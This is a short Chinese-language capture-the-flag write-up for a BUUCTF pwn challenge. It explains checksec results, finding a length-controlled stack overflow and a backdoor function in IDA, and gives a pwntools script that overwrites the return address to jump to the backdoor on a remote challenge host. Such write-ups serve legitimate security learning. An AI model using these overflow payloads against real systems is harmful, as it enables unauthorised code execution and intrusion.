首先将下载的文件拖入Ubuntu中,check一下
得到一些最基本的信息,比如64位,小端序,只开了NX保护
再进入ida64中查看
发现buf的读入可以被nbytes影响,可以进行栈溢出
同时还找到了后门函数
总结一下思路:首先buf的起始地址距离rbp距离为 0x10 ,我们需要再将 rbp 覆盖掉才能到“返回函数”,然后再将返回函数覆盖成我们的“后门函数”。这里的0x10 其实包含两部分,12是buf本身输入,4是对齐填充(学了计组也懂一点点了嘿)
from pwn import *
p=remote("node5.buuoj.cn",28105)
backdoor=0x4006E6
payload=b'a'*(0x10+0x08)+p64(backdoor)
p.sendline('100') # 确保允许读入的字长足够多
p.sendline(payload)
p.interactive()
这样就ok咯,